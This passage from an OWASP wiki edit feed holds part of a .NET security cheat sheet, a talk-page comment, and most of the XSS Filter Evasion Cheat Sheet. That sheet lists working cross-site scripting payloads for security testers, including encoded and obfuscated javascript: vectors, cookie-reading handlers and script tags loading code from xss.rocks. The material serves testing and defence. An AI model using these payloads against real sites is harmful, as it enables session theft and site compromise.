    &amp;lt;trace enabled=&amp;quot;false&amp;quot; xdt:Transform=&amp;quot;Replace&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use default passwords&lt;br /&gt;
&lt;br /&gt;
DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:&lt;br /&gt;
&lt;br /&gt;
	protected void Application_BeginRequest()&lt;br /&gt;
		{&lt;br /&gt;
    #if !DEBUG&lt;br /&gt;
            // SECURE: Ensure any request is returned over SSL/TLS in production&lt;br /&gt;
            if (!Request.IsLocal &amp;amp;&amp;amp; !Context.Request.IsSecureConnection) {&lt;br /&gt;
                var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace(&amp;quot;http:&amp;quot;, &amp;quot;https:&amp;quot;);&lt;br /&gt;
                Response.Redirect(redirect);&lt;br /&gt;
            }&lt;br /&gt;
    #endif&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
* A6 Sensitive data exposure&lt;br /&gt;
&lt;br /&gt;
DO NOT: Store encrypted passwords.&lt;br /&gt;
&lt;br /&gt;
DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.&lt;br /&gt;
&lt;br /&gt;
DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy. &lt;br /&gt;
&lt;br /&gt;
DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.&lt;br /&gt;
&lt;br /&gt;
DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].&lt;br /&gt;
&lt;br /&gt;
DO NOT: Allow SSL, this is now obsolete&lt;br /&gt;
&lt;br /&gt;
DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]&lt;br /&gt;
&lt;br /&gt;
DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:&lt;br /&gt;
    &amp;amp;lt;system.web&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/system.web&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;security&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/security&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;/customHeaders&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/httpProtocol&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A7 Missing function level access control&lt;br /&gt;
&lt;br /&gt;
DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize(Roles = &amp;quot;Admin&amp;quot;)]&lt;br /&gt;
     [HttpGet]&lt;br /&gt;
     public ActionResult Index(int page = 1)&lt;br /&gt;
&lt;br /&gt;
or better yet, at controller level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize]&lt;br /&gt;
     public class UserController&lt;br /&gt;
&lt;br /&gt;
You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)&lt;br /&gt;
&lt;br /&gt;
* A8 Cross site request forgery&lt;br /&gt;
&lt;br /&gt;
DO: Send the anti-forgery token with every Post/Put request:&lt;br /&gt;
&lt;br /&gt;
    using (Html.BeginForm(&amp;quot;LogOff&amp;quot;, &amp;quot;Account&amp;quot;, FormMethod.Post, new { id = &amp;quot;logoutForm&amp;quot;, @class = &amp;quot;pull-right&amp;quot; }))&lt;br /&gt;
        {&lt;br /&gt;
        @Html.AntiForgeryToken()&lt;br /&gt;
        &amp;amp;lt;ul class=&amp;quot;nav nav-pills&amp;quot;&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;Logged on as @User.Identity.Name&amp;lt;/li&amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;&amp;amp;lt;a href=&amp;quot;javascript:document.getElementById('logoutForm').submit()&amp;quot;&amp;amp;gt;Log off&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;/li&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;/ul&amp;amp;gt;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Then validate it at the method or preferably the controller level:&lt;br /&gt;
&lt;br /&gt;
        [HttpPost]&lt;br /&gt;
        '''[ValidateAntiForgeryToken]'''&lt;br /&gt;
        public ActionResult LogOff()&lt;br /&gt;
&lt;br /&gt;
NB: You will need to attach the anti-forgery token to Ajax requests.&lt;br /&gt;
&lt;br /&gt;
* A9 Using components with known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
DO: Keep the .Net framework updated with the latest patches&lt;br /&gt;
DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities. So Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]&lt;br /&gt;
&lt;br /&gt;
* A10 Unvalidated redirects and forwards&lt;br /&gt;
&lt;br /&gt;
A protection against this was introduced in Mvc 3 template. Here is the code:&lt;br /&gt;
&lt;br /&gt;
        public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (ModelState.IsValid)&lt;br /&gt;
            {&lt;br /&gt;
                var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);&lt;br /&gt;
                if (logonResult.Success)&lt;br /&gt;
                {&lt;br /&gt;
                    await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);                              &lt;br /&gt;
                    return RedirectToLocal(returnUrl);&lt;br /&gt;
        ....&lt;br /&gt;
&lt;br /&gt;
        private ActionResult RedirectToLocal(string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (Url.IsLocalUrl(returnUrl))&lt;br /&gt;
            {&lt;br /&gt;
                return Redirect(returnUrl);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                return RedirectToAction(&amp;quot;Landing&amp;quot;, &amp;quot;Account&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Other advice:&lt;br /&gt;
&lt;br /&gt;
* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]&lt;br /&gt;
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]&lt;br /&gt;
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.&lt;br /&gt;
&lt;br /&gt;
More information:&lt;br /&gt;
&lt;br /&gt;
For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]&lt;br /&gt;
&lt;br /&gt;
==XAML Guidance==&lt;br /&gt;
&lt;br /&gt;
* Work within the constraints of Internet Zone security for your application.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Windows Forms Guidance== &lt;br /&gt;
&lt;br /&gt;
* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
==WCF Guidance==&lt;br /&gt;
&lt;br /&gt;
* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.&lt;br /&gt;
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.&lt;br /&gt;
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.&lt;br /&gt;
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Bill Sempf - bill.sempf(at)owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Troy Hunt - troyhunt(at)hotmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jeremy Long - jeremy.long(at)owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]][[Category:OWASP .NET Project]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Information_Leak_(information_disclosure)&amp;diff=224076</id>
		<title>Talk:Information Leak (information disclosure)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Information_Leak_(information_disclosure)&amp;diff=224076"/>
				<updated>2016-12-12T15:26:57Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Why would this be a candidate for deletion?  Is there a replacement page?  Information Disclosure is a real vulnerability.&lt;br /&gt;
--[[User:Bill Sempf|Bill Sempf]] ([[User talk:Bill Sempf|talk]]) 09:26, 12 December 2016 (CST)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Information_Leak_(information_disclosure)&amp;diff=224075</id>
		<title>Talk:Information Leak (information disclosure)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Information_Leak_(information_disclosure)&amp;diff=224075"/>
				<updated>2016-12-12T15:26:48Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Created page with &amp;quot;Why would this be a candidate for deletion?  Is there a replacement page?  Information Disclosure is a real vulnerability.&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Why would this be a candidate for deletion?  Is there a replacement page?  Information Disclosure is a real vulnerability.&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=217516</id>
		<title>XSS Filter Evasion Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=217516"/>
				<updated>2016-06-01T13:29:35Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: /* Google &amp;quot;feeling lucky&amp;quot; part 1. */ Spelling&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]], was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [[Cheat_Sheets | OWASP Cheat Sheet Series]] was born.&lt;br /&gt;
&lt;br /&gt;
= Tests =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. &lt;br /&gt;
&lt;br /&gt;
Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.&lt;br /&gt;
&lt;br /&gt;
== XSS Locator ==&lt;br /&gt;
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &amp;quot;XSS&amp;quot; will pop up. Use this [http://ha.ckers.org/xsscalc.html URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated &amp;quot;&amp;lt;PLAINTEXT&amp;gt;&amp;quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:&lt;br /&gt;
&lt;br /&gt;
 ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;&lt;br /&gt;
 alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;alert(String.fromCharCode(88,83,83))//--&lt;br /&gt;
 &amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;amp;quot;&amp;amp;gt;'&amp;amp;gt;&amp;amp;lt;SCRIPT&amp;amp;gt;alert(String.fromCharCode(88,83,83))&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS Locator (short) ==&lt;br /&gt;
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for &amp;lt;XSS verses &amp;amp;amp;lt;XSS to see if it is vulnerable:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;#39;&amp;amp;#39;;!--&amp;quot;&amp;amp;lt;XSS&amp;amp;gt;=&amp;amp;amp;{()}&lt;br /&gt;
&lt;br /&gt;
== No Filter Evasion ==&lt;br /&gt;
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=http:&amp;amp;#47;&amp;amp;#47;xss.rocks&amp;amp;#47;xss.js&amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Filter bypass based polyglot ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;pre&amp;gt;'&amp;quot;&amp;gt;&amp;gt;&amp;lt;marquee&amp;gt;&amp;lt;img src=x onerror=confirm(1)&amp;gt;&amp;lt;/marquee&amp;gt;&amp;quot;&amp;gt;&amp;lt;/plaintext\&amp;gt;&amp;lt;/|\&amp;gt;&amp;lt;plaintext/onmouseover=prompt(1)&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;prompt(1)&amp;lt;/script&amp;gt;@gmail.com&amp;lt;isindex formaction=javascript:alert(/XSS/) type=submit&amp;gt;'--&amp;gt;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;img/id=&amp;quot;confirm&amp;amp;lpar;1&amp;amp;#x29;&amp;quot;/alt=&amp;quot;/&amp;quot;src=&amp;quot;/&amp;quot;onerror=eval(id&amp;amp;#x29;&amp;gt;'&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;img src=&amp;quot;http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Image XSS using the JavaScript directive ==&lt;br /&gt;
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No quotes and no semicolon ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Case insensitive XSS attack vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML entities == &lt;br /&gt;
The semicolons are required for this to work:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Grave accent obfuscation ==&lt;br /&gt;
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:&lt;br /&gt;
 &amp;amp;lt;IMG SRC=`javascript:alert(&amp;quot;RSnake says, 'XSS'&amp;quot;)`&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed A tags ==&lt;br /&gt;
Skip the HREF attribute and get to the meat of the XXS...&lt;br /&gt;
Submitted by David Cross ~ Verified on Chrome&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=alert(document.cookie)&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed IMG tags ==&lt;br /&gt;
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG &amp;quot;&amp;quot;&amp;quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== fromCharCode ==&lt;br /&gt;
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag to get past filters that check SRC domain ==&lt;br /&gt;
This will bypass most SRC domain filters.  Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc.  It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here.&lt;br /&gt;
Submitted by David Cross .&lt;br /&gt;
&lt;br /&gt;
Edited by Abdullah Hussam(@Abdulahhusam).&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=# onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it empty ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC= onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it out entirely ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== On error alert ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=/ onerror=&amp;quot;alert(String.fromCharCode(88,83,83))&amp;quot;&amp;gt;&amp;lt;/img&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG  onerror and javascript alert encode==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=x onerror=&amp;quot;&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references ==&lt;br /&gt;
all of the XSS examples that use a javascript: directive inside of an &amp;lt;IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG SRC=&amp;amp;amp;#106;&amp;amp;amp;#97;&amp;amp;amp;#118;&amp;amp;amp;#97;&amp;amp;amp;#115;&amp;amp;amp;#99;&amp;amp;amp;#114;&amp;amp;amp;#105;&amp;amp;amp;#112;&amp;amp;amp;#116;&amp;amp;amp;#58;&amp;amp;amp;#97;&amp;amp;amp;#108;&amp;amp;amp;#101;&amp;amp;amp;#114;&amp;amp;amp;#116;&amp;amp;amp;#40;&lt;br /&gt;
 &amp;amp;amp;#39;&amp;amp;amp;#88;&amp;amp;amp;#83;&amp;amp;amp;#83;&amp;amp;amp;#39;&amp;amp;amp;#41;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is often effective in XSS that attempts to look for &amp;quot;&amp;amp;#XX;&amp;quot;, since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;&lt;br /&gt;
 #0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hexadecimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded tab == &lt;br /&gt;
Used to break up the cross site scripting attack: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded Encoded tab ==&lt;br /&gt;
Use this one to break up XSS :&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded newline to break up XSS ==&lt;br /&gt;
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0A;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded carriage return to break up XSS ==&lt;br /&gt;
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0D;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Null breaks up JavaScript directive ==&lt;br /&gt;
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:&lt;br /&gt;
&lt;br /&gt;
 perl -e 'print &amp;quot;&amp;lt;IMG SRC=java\0script:alert(\&amp;quot;XSS\&amp;quot;)&amp;gt;&amp;quot;;' &amp;gt; out&lt;br /&gt;
&lt;br /&gt;
== Spaces and meta chars before the JavaScript in images for XSS ==&lt;br /&gt;
This is useful if the pattern match doesn't take into account spaces in the word &amp;quot;javascript:&amp;quot; -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the &amp;quot;javascript:&amp;quot; keyword. The actual reality is you can have any char from 1-32 in decimal:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot; &amp;amp;#14;  javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Non-alpha-non-digit XSS ==&lt;br /&gt;
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. &lt;br /&gt;
For example &amp;quot;&amp;lt;SCRIPT\s&amp;quot; != &amp;quot;&amp;lt;SCRIPT/XSS\s&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/XSS SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&amp;quot;XSS&amp;quot;)&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.&lt;br /&gt;
&lt;br /&gt;
